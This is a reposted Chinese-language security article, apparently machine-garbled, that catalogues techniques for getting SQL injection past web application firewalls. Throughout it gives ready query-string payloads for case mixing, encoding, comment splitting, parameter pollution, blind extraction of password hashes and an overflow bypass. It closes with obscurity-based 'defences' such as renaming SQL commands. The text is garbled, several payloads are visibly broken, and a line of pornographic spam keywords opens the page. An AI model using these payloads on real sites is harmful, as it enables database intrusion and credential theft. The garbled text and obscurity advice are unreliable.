国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應(yīng)用案例 網(wǎng)絡(luò)威脅系統(tǒng)安全 應(yīng)用安全 數(shù)據(jù)安全 云安全
當(dāng)前位置: 主頁 > 信息安全 > 系統(tǒng)安全 >

闡發(fā):看牛人如何沖破WAF防御

時(shí)間:2013-05-11 09:33來源:TuZhiJiaMi企業(yè)信息安全專家 點(diǎn)擊:
當(dāng)所有的系統(tǒng)安然防御做好后,剩下生怕就是SQL注進(jìn),跨站報(bào)復(fù)打擊等等web利用層防御了,這也是廣大年夜站長最困擾的東東了,幾日前寫的“安然寶構(gòu)架手藝猜想與高級收集安然防御”講授
Tags系統(tǒng)安全(735)白盒測試(2)WAF防御(1)  

  當(dāng)所有的系統(tǒng)安然防御做好后,剩下生怕就是SQL注進(jìn),跨站報(bào)復(fù)打擊等等web利用層防御了,這也是廣大年夜站長最困擾的東東了,幾日前寫的“安然寶構(gòu)架手藝猜想與高級收集安然防御”講授了一種最簡單的高機(jī)能防御方編制,按照本身的環(huán)境略微點(diǎn)竄下,便可以應(yīng)付大年夜部門的報(bào)復(fù)打擊了,可是就萬事大年夜吉了嗎?

  起首我們回顧下網(wǎng)上牛人是如何沖破waf防御:

  1.大年夜小寫繞過

  這個(gè)大年夜家都很熟諳,對一些太垃圾的WAF結(jié)果較著,好比反對了union,那就利用UnionUnIoN等等繞過。

  2.簡單編碼繞過

  好比WAF檢測關(guān)頭字,那么我們讓他檢測不到便可以了。好比檢測union,那么我們就用U也就是U的16進(jìn)制編碼來代替U,union寫成UnION,連絡(luò)大年夜小寫也能夠繞過一些WAF,你可以隨便替代一個(gè)或幾個(gè)都可以。

  也還有大年夜家在Mysql注進(jìn)中好比表名或是load文件的時(shí)辰,會把文件名或是表白用16進(jìn)制編碼來繞過WAF都是屬于這類。

  3.注釋繞過

  這類環(huán)境比較少,合用于WAF只是過濾了一次危險(xiǎn)的語句,而沒有阻斷我們的全部查詢。

  01./?id=1+union+select+1,2,3unionselect+1,2,31,2,3,4…

  可以看到,只要我們把敏感詞放到注釋里面,寄望,前面要加一個(gè)!

  4.分隔重寫繞過

  仍是上面的例子,合用于那種WAF采取了正則表達(dá)式的環(huán)境,會檢測所有的敏感字,而不在乎你寫在哪里,有幾個(gè)就過濾幾個(gè)。

  我們可以經(jīng)由過程注釋分隔敏感字,如許WAF的正則不起感化了,而帶進(jìn)查詢的時(shí)辰其實(shí)不影響我們的成果。

  01./?id=1+union+select+1,2,3--

  至于重寫繞過,合用于WAF過濾了一次的環(huán)境,和我們上傳aaspsp馬的道理一樣,我們可以寫出近似Ununionion如許的。過濾一次union后就會履行我們的查詢了。

  01.?id=1ununionionselect1,2,3--

  5.Http參數(shù)污染(HPP)

  好比我們有如許的語句:

  01./?id=1unionselect+1,2,3+from+users+where+id=1--

  我們可以反復(fù)一次前面的id值添加我們的值來繞過,&id=會在查詢時(shí)變成逗號:

  01./?id=1unionselect+1&id=2,3+from+users+where+id=1--

  這類環(huán)境成功的前提比較多,取決于具體的WAF實(shí)現(xiàn)。

  再給出一個(gè)例子申明用法:

  01./?id=1unionselectpwdfromusers--

  具體闡發(fā)的話就觸及到查詢語句的后臺代碼的編寫了。

  好比辦事器是如許寫的:

  01.select*fromtablewherea=".$_GET['a']."andb=".$_GET['b']."limit".$_GET['c'];

  那我們可以機(jī)關(guān)如許的注進(jìn)語句:

  01./?a=1+unionselect+1,passfrom+users--

  最終解析為:

  01.select*fromtablewherea=1unionselect1,passfromusers--

  可以看到,這類編制其實(shí)比較合適白盒測試,而對黑盒滲入的話,用起來比較麻煩。可是也能夠一試。

  6.利用邏輯運(yùn)算符or/and繞過

  01./?id=1+OR+0x50=0x50

  02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

  趁便詮釋一下第二句話,從最里面的括號開端闡發(fā),select+pwd+from+users+limit+1,1這句是從users表里查詢pwd字段的第一筆記實(shí),好比是admin,

  然后mid(上一句),1,1就是取admin的第一個(gè)字符,也就是a,

  lower(上一句)就是把字符轉(zhuǎn)換為小寫,

  然后ascii就是把a(bǔ)轉(zhuǎn)換成ascii碼,看等不便是74。

  7.比較把持符替代

  包含!=不便是,<>不便是,<小于,>大年夜于,這些都可以用來替代=來繞過。

  好比上一個(gè)例子,要鑒定是不是是74,假定=被過濾,那么我們可以鑒定是不是是大年夜于73,是不是是小于75,然后就知道是74了。。良多WAF城市忘了這個(gè)。

  8.同功能函數(shù)替代

  Substring()可以用mid(),substr()這些函數(shù)來替代,都是用來取字符串的某一名字符的。

  Ascii()編碼可以用hex(),bin(),也就是16進(jìn)制和二進(jìn)制編碼替代。Benchmark()可以用sleep()來替代,這兩個(gè)利用在基于延時(shí)的盲注中,有機(jī)緣給大年夜家介紹。

  假定連這些都樊籬了,還有一種新的編制:

  01.substring((select'password'),1,1)=0x70

  02.substr((select'password'),1,1)=0x70

  03.mid((select'password'),1,1)=0x70

  好比這三條,都是從password里鑒定第一個(gè)字符的值,可以用:

  01.strcmp(left('password',1),0x69)=1

  02.strcmp(left('password',1),0x70)=0

  03.strcmp(left('password',1),0x71)=-1

  來替代,left用來取字符串左起1位的值,strcmp用來比較兩個(gè)值,假定比較成果相等就為0,左邊小的話就為-1,不然為1。

  還有我前幾篇說過的group_concat和concat和concat_ws也能夠彼此替代。

  9.盲注無需or和and

  好比有如許一個(gè)注進(jìn)點(diǎn):

  01.index.php?uid=123

  and、or被過濾了,其實(shí)有一種更直接的編制,我們直接點(diǎn)竄123為我們的語句生成的:

  01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

  123的時(shí)辰頁面是準(zhǔn)確的,我們此刻在盲猜hash的第一名,假定第一名便是0x42也就是B,那么strcmp成果為0,0+123=123,所以頁面應(yīng)當(dāng)是準(zhǔn)確的。不然就申明不是B,就如許猜,不消and和or了。

  10.加括號

  01./?id=1+union+(select+1,2+from+users)

  好比,上面這一條被WAF反對了??梢試L嘗加一些括號:

  01./?id=1+union+(select+1,2+from+***)

  02./?id=(1)union(select(1),mid(hash,1,32)from(users))

  03./?id=1+union+(select'1',concat(login,hash)from+users)

  04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))

  05./?id=(1)or(0x50=0x50)

  11.緩沖區(qū)溢出繞過

  這個(gè)是從國外一個(gè)博客看到的:

  01.id=1and(select1)=(Select0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),

  8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

  02.,27,28,29,30,31,32,33,34,35,36–+

  此中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好,一般要求1000個(gè)以上。

  以上就是網(wǎng)上哄傳的沖破編制,本人沒時(shí)候往試,也不想往試,這里有一個(gè)標(biāo)題問題,為甚么會有千千萬萬個(gè)縫隙,報(bào)復(fù)打擊編制,防不堪防,有沒有一個(gè)底子的編制解決所有已知,未知的縫隙報(bào)復(fù)打擊呢?

  其實(shí)回根到底,我們用的linuxwinmysql等等都是他人開辟的,不是本身的東西,開源的好處就是你可以用,可是你不好保密!所以要解決標(biāo)題問題,還得從軟件,系統(tǒng)的開辟開端,哪怕簡單的二次開辟都可以防御良多報(bào)復(fù)打擊:

  1,假定本身能對mysql進(jìn)行二次開辟,把所有的selectunion號令簡單的改名,改成沒有人知道的只有你本身知道的名字,你用擔(dān)憂sql注進(jìn)嗎?

  2,假定本身對mysql進(jìn)行二次開辟,改變sql尺度,邏輯,你還怕orand注進(jìn)嗎?

  3,假定本身定義一套本身的開辟說話,不消甚么cphp你還怕甚么好處嗎?

  4,大年夜范圍定制改革linux把所有的號令,系統(tǒng)調(diào)用經(jīng)行二次開辟,你還怕黑客進(jìn)侵嗎?人家連ls號令都不知道如何弄!

  當(dāng)然有背開源精力,可是此刻良多的閉源軟件,防火墻早就這么干了,說白了,保密的東東,最安然,本身創(chuàng)作發(fā)現(xiàn)的東東,才是最靠得住的,事實(shí)你可以隨便定制更改,隨便擴(kuò)大開辟!當(dāng)然假定沒有這個(gè)手藝前提我們可以這么做,讓黑客解體到底!

  1,完全丟棄mysqlmongodb等有sql注進(jìn)風(fēng)險(xiǎn)的數(shù)據(jù)庫,采取redis或其他簡單的能知足你當(dāng)前營業(yè)的nosql數(shù)據(jù)庫,其實(shí)要邏輯,要甚么觸發(fā)功能,請用luaphp實(shí)現(xiàn),斷根所有沒有效的功能,就和linux權(quán)限一樣顆?;磺校灰?,無用的十足丟掉落,一個(gè)不剩!

  2,對當(dāng)前采取linux系統(tǒng)nginxapache等等,全數(shù)進(jìn)行源代碼簡單點(diǎn)竄,核心功能算法不克不及更改,我們就不克不及更改號令名稱,用戶ui接口?打個(gè)例如把mysql的select號令和各類對應(yīng)的編碼調(diào)用名稱改掉落,哪里來的sql注進(jìn)呢?

  好了,??创竽暌辜覅⒖季秃?,千萬不要把系統(tǒng)改的臉孔全非,連本身都用不了,撐持開源,不要僅僅逗留在利用層,我們?nèi)允且M力成為開源軟件開辟者,或多提出本身的立異建議,任何工作不要盲目往跟風(fēng),人家用,你也取用,夠用就好是一種簡單而高深的哲學(xué)。

------分隔線----------------------------

推薦內(nèi)容